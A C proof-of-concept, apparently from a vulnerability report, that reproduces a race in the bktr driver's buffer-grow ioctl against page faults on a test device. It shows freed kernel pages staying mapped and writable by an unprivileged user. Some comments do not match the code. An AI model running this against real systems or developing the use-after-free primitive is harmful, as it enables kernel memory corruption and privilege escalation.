/*
 * poc_race.c -- DF-4671: bktr_mmap fault-time d_mmap query races the
 * unlocked METEORSETGEO grow block (kmem_free(old) -> bigbuf=new, no lock).
 *
 * CRITICAL DESIGN CONSTRAINT (empirically established with --seqcheck on
 * this kernel): the old-style device pager caches one fake page per
 * (cdev, pindex) for the cdev's LIFETIME -- later faults of an
 * already-faulted pindex are served from the cache WITHOUT re-querying
 * d_mmap.  Therefore a genuine fault-time d_mmap re-execution only
 * happens on the FIRST fault of a pindex never faulted before on this
 * cdev.  The rig recycles the cdev on every RIG_INIT (fresh pager
 * object), and this PoC only ever faults pindexes that were never
 * faulted before on the current cdev:
 *
 *   1. RIG_INIT(N)   -- fresh cdev, fresh bzero'd N-page buffer [root]
 *   2. map group 0 (pages [0,8)), write markers {MAGIC, gen, .., nonce};
 *      the marker WRITE consumes (caches) exactly those 8 pindexes.
 *      Marker gen is sampled AFTER the faults from the kernel's
 *      alloc_pages, so marker.gen >= generation of the page it landed on.
 *   3. grower thread: SETGEO alloc_pages+1 repeatedly (kernel-verified
 *      real grows); every grow kmem_free()s the previous buffer and
 *      reassigns bigbuf -- the unsynchronized window under test.
 *   4. faulter thread: for g = 1, 2, 3, ...: map pages [g*8, g*8+8)
 *      (NEVER-faulted pindexes -> every one of these faults executes
 *      the production bktr_mmap code), snapshot the page contents AT
 *      FAULT, then write fresh markers (gen sampled after faults).
 *
 * CATCH (proof of a dangling resolution): a never-faulted pindex's fault
 * returns a page bearing marker {nonce==run, gen < e0} where e0 =
 * alloc_pages sampled BEFORE the mmap.  Invariant: marker.gen >= the
 * generation of the buffer whose page carries it, so gen < e0 means the
 * page belongs to a buffer that had already been kmem_free'd when the
 * fault ran -- i.e. the fault's vtophys(bigbuf+offset) resolved through
 * the freed (stale-PTE) KVA in the unsynchronized window.
 *
 * Rig path: /dev/bktrig0.  The grow ioctls AND the faults run as an
 * UNPRIVILEGED user.
 *
 * Build: cc -O2 -Wall -pthread -o poc_race poc_race.c
 */
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <stdatomic.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <pthread.h>
#include <dev/video/meteor/ioctl_meteor.h>

#define DEV		"/dev/bktrig0"
#define W		64		/* pages per group (8x marking density) */
#define MAGIC		0xDF4671A5C0DEBAULL
#define INIT_PAGES	256		/* marking density 64/256 = 25% */

struct rig_ctl {
	int32_t		npages;
	uint32_t	pad;
	uint64_t	bigbuf;
	int32_t		alloc_pages;
	int32_t		rc;
	uint64_t	bigbuf_pa;
	uint64_t	probe_off;
	uint64_t	probe_pa;
};
#define	RIG_INIT	_IOWR('Z', 1, struct rig_ctl)
#define	RIG_STATUS	_IOWR('Z', 2, struct rig_ctl)
#define	RIG_PROBE	_IOWR('Z', 4, struct rig_ctl)

static int g_fd = -1;
static int grows_max = 40;		/* grows per run */
static int groups = 120;		/* fresh groups to fault */
static uint64_t run_nonce;
static atomic_int epoch;		/* kernel alloc_pages mirror */
static atomic_int grows_done;
static atomic_int stop;
static atomic_int catches;
static uint64_t first_buf_kva, first_buf_pa;

static int geo_pages(int rows, int cols, int frames)
{
	return (rows * cols * frames * 2 + 4095) / 4096;
}

/* (rows, cols=1022, frames=1) with btcs(rows*cols*frames*2) EXACTLY target
 * (int math in the kernel is ceil: pages = (bytes+4095)/4096; rows=2*T
 * alone loses pages once T > 512 -- that bug made every SETGEO a no-op) */
static void geo_for_target(int target, struct meteor_geomet *g)
{
	int r;

	for (r = 2 * target; r <= 2046; r += 2) {
		if (geo_pages(r, 1022, 1) >= target)
			break;
	}
	g->rows = r;
	g->columns = 1022;
	g->frames = 1;
	g->oformat = 0;
}

static void status_now(struct rig_ctl *rc)
{
	memset(rc, 0, sizeof(*rc));
	ioctl(g_fd, RIG_STATUS, rc);
	if (rc->alloc_pages > atomic_load(&epoch))
		atomic_store(&epoch, rc->alloc_pages);
}

static void *grow_thr(void *arg)
{
	struct meteor_geomet g;
	struct rig_ctl rc;
	int ok = 0, fail = 0;

	while (!atomic_load(&stop) &&
	    atomic_load(&grows_done) < grows_max) {
		int target;

		status_now(&rc);
		target = rc.alloc_pages + 1;	/* strictly larger */
		if (target > 32700)
			break;
		geo_for_target(target, &g);
		if (ioctl(g_fd, METEORSETGEO, &g) == 0) {
			status_now(&rc);
			if (rc.alloc_pages >= target) {
				ok++;
				atomic_fetch_add(&grows_done, 1);
			}
		} else {
			fail++;
			break;
		}
	}
	printf("[grow] %d real grows, %d failed; alloc_pages=%d\n",
	    ok, fail, atomic_load(&epoch));
	atomic_store(&stop, 1);
	return NULL;
}

static void report_catch(int page, uint64_t *m, int e0, int e1, int grp)
{
	struct rig_ctl rc;
	int n;

	n = atomic_fetch_add(&catches, 1) + 1;
	memset(&rc, 0, sizeof(rc));
	rc.probe_off = (uint64_t)page * 4096;
	ioctl(g_fd, RIG_PROBE, &rc);
	printf("*** CATCH #%d group=%d page=%d: marker {magic=%#jx gen=%ju "
	    "iter=%ju page=%ju nonce=%#jx} alloc_pages(before=%d after=%d)\n",
	    n, grp, page, (uintmax_t)m[0], (uintmax_t)m[1], (uintmax_t)m[2],
	    (uintmax_t)m[3], (uintmax_t)m[5], e0, e1);
	printf("    RIG_PROBE now: KVA=0x%llx PA=0x%llx vtophys(KVA+%d)="
	    "0x%llx (B0 was KVA=0x%llx PA=0x%llx)\n",
	    (unsigned long long)rc.bigbuf, (unsigned long long)rc.bigbuf_pa,
	    page * 4096, (unsigned long long)rc.probe_pa,
	    (unsigned long long)first_buf_kva,
	    (unsigned long long)first_buf_pa);
	printf("    nonce match=%d; marker gen %d < pre-fault alloc_pages %d"
	    " => first-fault d_mmap query resolved a page of a buffer freed"
	    " %d grow(s) earlier (dangling KVA)\n",
	    m[5] == run_nonce, (int)m[1], e0, e0 - (int)m[1]);
}

static void *fault_thr(void *arg)
{
	uint64_t vals[W][8];
	struct rig_ctl rcs;
	int e0, e1, ew, g, j, c;
	int nfail = 0;
	void *p;

	setvbuf(stdout, NULL, _IOLBF, 0);
	/* cycle through the rig's 8 cdevs: each has its own device-pager
	 * object -> its own fresh pindex space -> genuine first-fault
	 * d_mmap queries all run long.  cdev0 group 0 is pre-marked by
	 * main(), so start faulter groups at 1 there, 0 elsewhere. */
	c = *(int *)arg;			/* faulter t -> cdevs t, t+4 */
	{
		char path[32];
		int first = 1;

		(void)path; (void)first;
	}
	for (g = 0; g < INIT_PAGES / W && !atomic_load(&stop); g++) {
		char path[32];
		int ffd;
		size_t off = (size_t)g * W * 4096;

		if (g >= INIT_PAGES / W) {
			/* this cdev exhausted: partner cdev, reopen */
			c += 4;
			if (c >= 8)
				break;
			g = -1;
			continue;
		}
		snprintf(path, sizeof(path), "/dev/bktrig%d", c);
		if (c == 0 && g == 0)
			continue;	/* group 0 pre-marked by main() */
		ffd = open(path, O_RDWR);
		if (ffd < 0) {
			printf("[fault] open %s: %s\n", path,
			    strerror(errno));
			break;
		}
		status_now(&rcs);
		e0 = rcs.alloc_pages;

		p = mmap(NULL, (size_t)W * 4096, PROT_READ | PROT_WRITE,
		    MAP_SHARED, ffd, off);
		if (p == MAP_FAILED) {
			if (++nfail > 200) {
				printf("[fault] mmap c%d group %d keeps "
				    "failing: %s (giving up)\n", c, g,
				    strerror(errno));
				close(ffd);
				break;
			}
			if (nfail == 1 || (nfail % 50) == 0)
				printf("[fault] mmap c%d group %d: %s (fail "
				    "#%d)\n", c, g, strerror(errno), nfail);
			sched_yield();
			g--;		/* retry same group */
			close(ffd);
			continue;
		}
		nfail = 0;
		if ((g % 2) == (c == 0))
			printf("[fault] c%d group %d e0=%d\n", c, g, e0);
		/* first faults of these pindexes: each executes the
		 * production bktr_mmap d_mmap path; snapshot at fault */
		for (j = 0; j < W; j++) {
			uint64_t *q = (uint64_t *)((char *)p +
			    (size_t)j * 4096);
			vals[j][0] = q[0];
			vals[j][1] = q[1];
			vals[j][2] = q[2];
			vals[j][3] = q[3];
			vals[j][4] = q[4];
			vals[j][5] = q[5];
		}
		status_now(&rcs);
		e1 = rcs.alloc_pages;

		for (j = 0; j < W; j++) {
			if (vals[j][0] == MAGIC && vals[j][5] == run_nonce &&
			    (int)vals[j][1] < e0)
				report_catch(j, vals[j], e0, e1, g);
		}

		/* fresh markers for later groups; gen sampled AFTER the
		 * faults keeps marker.gen >= generation of these pages */
		ew = rcs.alloc_pages;
		for (j = 0; j < W; j++) {
			uint64_t *q = (uint64_t *)((char *)p +
			    (size_t)j * 4096);
			q[0] = MAGIC;
			q[1] = (uint64_t)(uint32_t)ew;
			q[2] = (uint64_t)(uint32_t)g;
			q[3] = (uint64_t)(uint32_t)j;
			q[4] = 0x4646464646464646ULL;
			q[5] = run_nonce;
		}
		munmap(p, (size_t)W * 4096);
		close(ffd);
	}
	printf("[fault] finished at c%d group %d\n", c, g);
	return NULL;
}

int main(int argc, char **argv)
{
	struct rig_ctl rc;
	pthread_t gr, fa;
	uint64_t *q;
	int j, ur;

	/* --init mode (root): attach mirror + cdev recycle */
	if (argc == 2 && strcmp(argv[1], "--init") == 0) {
		g_fd = open(DEV, O_RDWR);
		if (g_fd < 0) { perror("open " DEV); return 2; }
		memset(&rc, 0, sizeof(rc));
		rc.npages = INIT_PAGES;
		if (ioctl(g_fd, RIG_INIT, &rc) != 0) {
			perror("RIG_INIT"); return 3;
		}
		printf("RIG_INIT: bigbuf=0x%llx PA=0x%llx alloc_pages=%d "
		    "(cdev recycled: fresh pager)\n",
		    (unsigned long long)rc.bigbuf,
		    (unsigned long long)rc.bigbuf_pa, rc.alloc_pages);
		return 0;
	}

	/* --seqcheck mode: pager fake-page cache survival, no race */
	if (argc == 2 && strcmp(argv[1], "--seqcheck") == 0) {
		struct meteor_geomet g;
		void *p;
		int found = 0, k;

		g_fd = open(DEV, O_RDWR);
		if (g_fd < 0) { perror("open"); return 2; }
		ur = open("/dev/urandom", O_RDONLY);
		read(ur, &run_nonce, sizeof(run_nonce));
		if (run_nonce == 0) run_nonce = 1;

		memset(&rc, 0, sizeof(rc));
		rc.npages = 64;
		if (ioctl(g_fd, RIG_INIT, &rc) != 0) {
			perror("RIG_INIT"); return 3;
		}
		printf("seqcheck: fresh 64-page buffer\n");
		p = mmap(NULL, 64 * 4096, PROT_READ | PROT_WRITE,
		    MAP_SHARED, g_fd, 0);
		if (p == MAP_FAILED) { perror("mmap"); return 4; }
		for (j = 0; j < 64; j++) {
			q = (uint64_t *)((char *)p + (size_t)j * 4096);
			q[0] = MAGIC; q[1] = 0; q[2] = 0;
			q[3] = (uint64_t)(uint32_t)j;
			q[4] = 0x3030303030303030ULL;
			q[5] = run_nonce;
		}
		munmap(p, 64 * 4096);
		printf("seqcheck: markers written, mapping removed\n");
		for (k = 0; k < 10; k++) {
			status_now(&rc);
			geo_for_target(rc.alloc_pages + 1, &g);
			if (ioctl(g_fd, METEORSETGEO, &g) != 0)
				break;
		}
		status_now(&rc);
		printf("seqcheck: %d sequential grows; alloc_pages=%d\n",
		    k, rc.alloc_pages);
		p = mmap(NULL, 64 * 4096, PROT_READ, MAP_SHARED, g_fd, 0);
		if (p == MAP_FAILED) { perror("mmap2"); return 4; }
		for (j = 0; j < 64; j++) {
			q = (uint64_t *)((char *)p + (size_t)j * 4096);
			if (q[0] == MAGIC && q[5] == run_nonce)
				found++;
		}
		munmap(p, 64 * 4096);
		printf("seqcheck RESULT: %d/64 pages still show OLD markers "
		    "=> pager fake-page cache %s munmap\n", found,
		    found ? "SURVIVES" : "does not survive");
		return found ? 9 : 0;
	}

	/* --holdcheck: keep ONE RW mapping across N grows (no race at all):
	 * after the grow path kmem_free()s the buffer under it, is the held
	 * mapping still live (orphaned-page alias)? */
	if (argc == 2 && strcmp(argv[1], "--holdcheck") == 0) {
		struct meteor_geomet g;
		struct rig_ctl rcs;
		char *p;
		int k, alive = 0, wperm = 0;

		g_fd = open(DEV, O_RDWR);
		if (g_fd < 0) { perror("open"); return 2; }
		ur = open("/dev/urandom", O_RDONLY);
		read(ur, &run_nonce, sizeof(run_nonce));
		if (run_nonce == 0) run_nonce = 1;
		memset(&rcs, 0, sizeof(rcs));
		rcs.npages = 64;
		if (ioctl(g_fd, RIG_INIT, &rcs) != 0) {
			perror("RIG_INIT"); return 3;
		}
		close(g_fd);
		g_fd = open(DEV, O_RDWR);	/* cdev was recycled */
		if (g_fd < 0) { perror("reopen"); return 2; }
		p = mmap(NULL, 64 * 4096, PROT_READ | PROT_WRITE,
		    MAP_SHARED, g_fd, 0);
		if (p == MAP_FAILED) { perror("mmap"); return 4; }
		for (j = 0; j < 64; j++) {
			q = (uint64_t *)(p + (size_t)j * 4096);
			q[0] = MAGIC; q[1] = 0; q[2] = 0;
			q[3] = (uint64_t)(uint32_t)j;
			q[4] = 0x3030303030303030ULL;
			q[5] = run_nonce;
		}
		printf("holdcheck: RW mapping held; markers written\n");
		for (k = 0; k < 10; k++) {
			status_now(&rcs);
			geo_for_target(rcs.alloc_pages + 1, &g);
			if (ioctl(g_fd, METEORSETGEO, &g) != 0)
				break;
		}
		status_now(&rcs);
		printf("holdcheck: %d grows; buffer now KVA=0x%llx pages=%d "
		    "(the mapped pages were kmem_free'd)\n", k,
		    (unsigned long long)rcs.bigbuf, rcs.alloc_pages);
		for (j = 0; j < 64; j++) {
			q = (uint64_t *)(p + (size_t)j * 4096);
			if (q[0] == MAGIC && q[5] == run_nonce)
				alive++;
		}
		q = (uint64_t *)(p + 4096);
		q[7] = 0xDEADBEEFCAFE1234ULL;
		__asm __volatile("" ::: "memory");
		if (q[7] == 0xDEADBEEFCAFE1234ULL)
			wperm = 1;
		printf("holdcheck RESULT: %d/64 mapped pages still show old "
		    "markers; mapping %s after the buffer was freed\n",
		    alive, wperm ? "still WRITABLE (live RW alias onto "
		    "orphaned kernel pages)" : "dead");
		return (alive && wperm) ? 0 : 1;
	}

	if (argc > 1)
		grows_max = atoi(argv[1]);
	if (argc > 2)
		groups = atoi(argv[2]);
	if (grows_max < 1 || grows_max > 400) {
		printf("usage: %s [grows_max<=400]\n", argv[0]);
		return 2;
	}

	ur = open("/dev/urandom", O_RDONLY);
	if (ur < 0 || read(ur, &run_nonce, sizeof(run_nonce)) !=
	    (ssize_t)sizeof(run_nonce)) {
		perror("urandom"); return 2;
	}
	if (run_nonce == 0)
		run_nonce = 1;

	g_fd = open(DEV, O_RDWR);
	if (g_fd < 0) { perror("open " DEV); return 2; }
	if (geteuid() == 0) {
		fprintf(stderr, "run me as an UNPRIVILEGED user\n");
		return 2;
	}
	printf("uid=%d euid=%d; nonce=%#jx; %d grows vs %d fresh groups\n",
	    getuid(), geteuid(), (uintmax_t)run_nonce, grows_max, groups);

	status_now(&rc);
	if (rc.alloc_pages != INIT_PAGES) {
		printf("initial buffer must be %d pages (run --init as "
		    "root first); status alloc_pages=%d\n", INIT_PAGES,
		    rc.alloc_pages);
		return 3;
	}
	first_buf_kva = rc.bigbuf;
	first_buf_pa = rc.bigbuf_pa;
	atomic_store(&epoch, rc.alloc_pages);
	printf("buffer0: KVA=0x%llx PA=0x%llx pages=%d\n",
	    (unsigned long long)first_buf_kva,
	    (unsigned long long)first_buf_pa, rc.alloc_pages);

	/* group 0 markers (consumes pindexes [0,8) of this cdev) */
	{
		void *p = mmap(NULL, (size_t)W * 4096,
		    PROT_READ | PROT_WRITE, MAP_SHARED, g_fd, 0);
		int g0;

		if (p == MAP_FAILED) { perror("mmap group0"); return 4; }
		for (j = 0; j < W; j++)
			((volatile char *)p)[j * 4096]; /* fault first */
		status_now(&rc);			/* gen AFTER faults */
		g0 = rc.alloc_pages;
		for (j = 0; j < W; j++) {
			q = (uint64_t *)((char *)p + (size_t)j * 4096);
			q[0] = MAGIC;
			q[1] = (uint64_t)(uint32_t)g0;
			q[2] = 0;
			q[3] = (uint64_t)(uint32_t)j;
			q[4] = 0x3030303030303030ULL;
			q[5] = run_nonce;
		}
		munmap(p, (size_t)W * 4096);
		printf("group0 markers written (gen=%d); starting race\n", g0);
	}

	{
		pthread_t fs[4], gr2;
		int ids[4] = {0, 1, 2, 3};
		int i;

		pthread_create(&gr, NULL, grow_thr, NULL);
		pthread_create(&gr2, NULL, grow_thr, NULL);
		for (i = 0; i < 4; i++)
			pthread_create(&fs[i], NULL, fault_thr, &ids[i]);
		pthread_join(gr, NULL);
		pthread_join(gr2, NULL);
		for (i = 0; i < 4; i++)
			pthread_join(fs[i], NULL);
	}

	status_now(&rc);
	printf("\n== RESULT ==\n");
	printf("final alloc_pages=%d; catches=%d\n", rc.alloc_pages,
	    atomic_load(&catches));
	if (atomic_load(&catches) > 0)
		printf("FAULT-TIME DANGLING-KVA RESOLUTION REPRODUCED\n");
	else
		printf("no dangling resolution caught this run\n");
	return atomic_load(&catches) > 0 ? 0 : 1;
}